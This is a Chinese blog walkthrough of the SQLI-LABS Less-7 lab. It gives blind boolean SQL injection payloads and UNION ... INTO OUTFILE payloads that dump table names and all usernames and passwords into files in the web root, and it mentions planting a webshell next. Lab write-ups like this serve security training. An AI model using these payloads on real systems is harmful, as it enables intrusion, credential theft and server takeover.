草庐IT

SQLI-LABS(Less-7)

顾北清 2023-03-28 原文

Less-7(GET-Dump into outfile-String)

打开Less-7页面,可以看到页面中间有一句Please input the ID as parameter with numeric value,那么先使用ID这个参数通过GET方式传入一个数值。

确定注入点

注入语句:?id=1。可以看出没有回显查询结果。

接着试一下?id=1',发现出错了,但是并不回显错误。也就是说我们无法从前端得知语法错误,这样就无法确定闭合符号。

接着尝试?id=1",看到没有页面显示正常,那么SQL语句可能是使用双引号进行闭合的。

使用注入语句:?id=1" --+看看是否能够正常闭合并注释,从下图看出是没有问题的。

接着尝试注入语句?id=1" and 1=1 --+?id=1" and 1=2 --+,发现注入第一条语句时页面正常,注入第二条语句时居然也是正常的。说明之前的判断有误。

重新尝试常用的闭合语句:

SQL语句原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))

闭合代码:
1' #
1" #
1') #
") #
')) #

最后发现,本关使用的闭合语句为')),并且?id=1')) --+正常、?id=1')) and 1=1 --+正常、?id=1')) and 1=2 --+错误。由此判断此处存在注入点。

确定数据库名

既然本关是没有查询结果回显也不会显示语法错误信息,只能判断出存在成功和错误两种信息,那么可以考虑使用布尔型盲注,通过前端显示的是成功还是错误信息来判断注入的语句是否正确。

注入语句:?id=1')) and length((select database()))>5 --+length()函数会返回括号内的字符串长度,例如length('abc')返回3,表示字符串长度为3,这样上述语句就变成了查询当前数据表是否存在id为1并且当前数据库名长度是否大于5,而我们知道当前数据库存在id为1的用户,那么整个注入语句就可以直接用来判断当前数据库名的长度是否大于5。

从上图中可以看出数据库名的长度是大于5的,接着判断是否当前数据库名是否小于10,使用:?id=1')) and length((select database()))<10 --+,通过这种方式最终可以得出,当前数据库名长度为8。

下一步判断数据库名是什么,使用注入语句:?id=1')) and substring((select database()),1,1)<'z' --+判断当前数据库名的第一个字符是否小于z,接着通过二分法不断猜解,得出当前数据库名第一个字符为s,通过此方法最终可以猜解出当前数据库名。接下来的表名、列名、用户名、密码都可以使用此方法猜解得出。

outfile函数

不过根据这关主页的提示,应该使用outfile函数,利用outfile函数在数据库有写权限的目录写入文件。
要使用outfile函数写文件,需要先知道网站的路径,虽然第七关没有回显,但是可以在第一关的回显中使用@@datadir来获取数据库的存储数据路径。
补充:@@datadir获取数据库存储数据路径 ,@@basedir是MYSQL获取安装路径
在第一关使用注入语句:?id=1' and 1=2 union select 1,2,@@datadir --+,拿到了数据的存储路径:/var/lib/mysql/,可以根据路径判断操作系统为Linux,在Linux下默认的网站路径为/var/www/html。(但是这里通过作弊的方式得知SQLI-LABS Less-7靶场的路径为/var/www/sqlilabs/Less-7

确认当前用户读写权限

MySQL是通过权限表来控制用户对数据库访问的,权限表存放在mysql数据库中,主要的权限表有以下几个:user,db,host,table_priv,columns_privprocs_priv,通常用户信息、修改用户的密码、删除用户及分配权限等就是在mysql数据库的user表中。(MySQL user表详解)
注入语句:?id=1')) and (select count(*) from mysql.user)>0 --+,如果回显正常,就是表示最高权限。

利用outfile写入文件确定当前数据库名

注入语句:?id=1')) union select 1,2,database() into outfile '/var/www/sqlilabs/Less-7/1.txt' --+

虽然前端页面报错了,但是文件已经写入到/var/www/sqlilabs/Less-7/下,通过URL可以访问:

这样就得到当前数据库名security

利用outfile写入文件确定当前数据库名

注入语句:?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile '/var/www/sqlilabs/Less-7/2.txt' --+

利用outfile写入文件确定users表中的列名

注入语句:?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile '/var/www/sqlilabs/Less-7/3.txt' --+

利用outfile写入文件确定users表中的用户名和密码

注入语句:?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile '/var/www/sqlilabs/Less-7/4.txt' --+

到此,就得到了当前表中所有的用户名和密码。既然可以写入文件,那么可以直接写入一句话木马(后续补充)。

有关SQLI-LABS(Less-7)的更多相关文章

  1. ruby - 将 Bootstrap Less 添加到 Sinatra - 2

    我有一个ModularSinatra应用程序,我正在尝试将Bootstrap添加到应用程序中。get'/bootstrap/application.css'doless:"bootstrap/bootstrap"end我在views/bootstrap中有所有less文件,包括bootstrap.less。我收到这个错误:Less::ParseErrorat/bootstrap/application.css'reset.less'wasn'tfound.Bootstrap.less的第一行是://CSSReset@import"reset.less";我尝试了所有不同的路径格式,但它

  2. ruby - 如何使用 Ruby 中的 `less` 之类的 Unix 寻呼程序? - 2

    假设我有一个名为very_long_string的字符串,我想将其内容发送到标准输出。但是由于字符串很长,我想使用less在终端上显示文本。当我使用`less#{very_long_string}`我收到Filenotfound错误消息,如果我使用:`less我收到意外重定向错误消息。那么,如何在Ruby内部使用less呢? 最佳答案 您可以打开一个管道并通过其标准输入将您的字符串提供给less。IO.popen("less","w"){|f|f.putsvery_long_string}(假设very_long_string是保存

  3. css - Less.js LoadError - 没有这样的文件要加载 - less 在 main .less 文件上 - 2

    我正在尝试在一个新元素中测试less.js。我100%确定javascript文件加载正常,但我的css文件夹中的less文件一直出现此错误。我打算在启动之前使用less.app编译它,但我宁愿让less.js在开发期间进行编译。由于它是.less或其他文件而不允许浏览器访问该文件是否存在问题?谢谢(运行ubuntu11.04和ruby​​v1.9.2,在firefox和chrome中同样的错误)这是我的head.haml文件,我在其中链接到less.js和app.less(它们都在正确的文件夹中)%link{:rel=>"stylesheet/less",:type=>"text/c

  4. ruby - 如何在 Rails 之外使用 less.rb 处理 Bootstrap - 2

    我正在尝试使用less.rb创建一个独立的应用程序(独立于RailsAssets管道)以基于TwitterBootstrap输出CSS文件。下面的结果是一个空文档parser=Less::Parser.new:paths=>[Rails.root+'/public/bootstraps/twitter-bootstrap-857b8fb/less']tree=parser.parse("@import'bootstrap.less'")tree.to_css这会导致返回一个空字符串。我尝试了将@import更改为完整路径等的变体,但没有成功。我想我一定遗漏了一些简单的东西。

  5. upload-labs通关 - 2

    最近,我有个朋友老是反映部署的网站老是被黑客攻击,我看了下就是普通的PHP框架搭建的网站,经过一番排除也清除了木马。为此我专门花1天时间研究一下文件上传漏洞,知己知彼方能百战百胜。这里我选择了一个开源的靶场upload-labs。测试环境部署游览器插件下载地址Cookie-Editor:https://chrome.google.com/webstore/detail/hlkenndednhfkekhgcdicdfddnkalmdmHackBar:https://hackbar.herokuapp.com/使用everything搜索hackbar-panel.js文件的位置,注释或删除以下代

  6. ruby-on-rails - 找不到“twitter/bootstrap/responsive.less” - 2

    我正在尝试将我的应用程序移动到另一台服务器,但我目前遇到以下错误。'twitter/bootstrap/responsive.less'wasn'tfound(in/home/rails/**/app/assets/stylesheets/bootstrap_and_overrides.css.less)我的gemfile中没有:assetsblock——因此之前针对此问题的解决方案不适用于我的情况。这是我的Gemfilesource'https://rubygems.org'#BundleedgeRailsinstead:gem'rails',github:'rails/rails'

  7. ruby-on-rails - Rails 错误 "cannot load such file -- less" - 2

    我是rubyonrails的新手,我一直在尝试使用twitter-bootstrap作为Assets,所以我将它包含在我的Gemfile中,捆绑并它安装成功。但是我注意到它依赖于某些在我执行“捆绑”命令时未显示的依赖项。它需要的依赖(1)Libv8(2)Less(3)Less-rails错误信息:cannotloadsuchfile--less(inc:/Sites/todo/app/assets/stylesheets/bootstrap_and_overrides.css.less)[code]Extractedsource(aroundline#8):5:6:7:8:"all"%

  8. Ruby 类继承 : What is `<<` (double less than)? - 2

    class这是什么为了?我搜索了,但结果只告诉我有关字符串连接的信息... 最佳答案 虽然class是真的是单例类的语法,正如其他人所说,它最常用于在类定义中定义类方法。但是这两种用法是一致的。方法如下。Ruby允许您通过以下方式向任何特定实例添加方法:class这添加了一个方法foo对某个实例,不是对它的类,而是对那个特定实例。(实际上,foo被添加到实例的“单例类”,但这或多或少是一个实现怪癖。)上面的代码执行后,您可以将方法foo发送到某个实例:someinstance.foo=>"Hello."但是您不能将foo发送到同一类

  9. javascript - sourceMapRootpath 使用 LESS 获得源映射 - 2

    我正在尝试在我的元素中使用源map。我正在使用LESS,使用grunt-contrib-less通过Grunt编译这是我的gruntfile.js中的代码:less:{development:{options:{paths:["assets-src"],//LESSsourcemaps//Toenable,setsourceMaptotrueandupdatesourceMapRootpathbasedonyourinstallsourceMap:true,sourceMapFilename:'assets-src/desktop/css/desktop.css.map',source

  10. javascript - 在元素中使用 Node.js 作为独立的 LESS 编译器? - 2

    我一直在尝试合并lessc大型元素中的编译器具有Bootstrap的基本设置,它只会导致各种编译错误(每个人都有不同解决方案的门票)。没有一个解决方案能满足我的需求,这是一种通过命令行编译less-pile的方法。我通过node.js编译了各种其他Assets,并希望用less做同样的事情,但我发现关于这个主题的每个googlepage都是Node.js+Express,这不是我想要的。我想要一个独立的编译器。(想法:require.jsr.js文件)我找到了Node-less但它已经2年没有更新了,因此并不理想。所以。问题:是否有命令行方式可以使用node.js编译less-file

随机推荐